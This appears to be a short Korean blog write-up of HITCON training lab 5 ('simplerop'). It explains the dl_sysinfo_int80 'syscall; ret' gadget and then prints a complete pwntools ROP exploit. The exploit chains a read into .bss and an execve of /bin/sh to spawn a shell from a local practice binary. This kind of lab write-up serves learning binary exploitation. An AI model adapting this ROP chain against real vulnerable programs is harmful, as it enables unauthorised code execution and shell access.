dl_sysinfo_int80

Hitcon lab 5번을 풀다가 궁금증이 생겨서 찾아봤더니

syscall chain을 원활하게 해주는 dl_sysinfo_int80함수가 있다.

 

 

간단하게 syscall 해주고 ret을 해주는 가젯이다.

 

+ hitcon lab 5 exploit code

from pwn import *
 
context.log_level = 'debug'
 
p = process('./simplerop')
e = ELF('./simplerop')
 
bss = e.bss() + 0x100
 
syscall = 0x080493e1
read_plt = 0x0806CD50
puts_plt = 0x0804F640
 
dl_sysinfo_int80 = 0x806eef0  # syscall; ret;
 
pppr = 0x0804838c
edx = 0x0806e82a
eax = 0x080bae06
ecx_ebx = 0x0806e851
 
def reg(a, b, c, d, pay):
    pay += p32(eax)
    pay += p32(a)
    
    pay += p32(ecx_ebx)
    pay += p32(c)
    pay += p32(b)
 
    pay += p32(edx)
    pay += p32(d)
    return pay
 
pay = "A"*32
 
pay = reg(3, 0, bss, 8, pay)
pay += p32(dl_sysinfo_int80)
 
pay = reg(11, bss, 0, 0,pay)
pay += p32(syscall)
 
p.recv()
p.send(pay)
 
p.send('/bin/sh\x00')
 
p.interactive()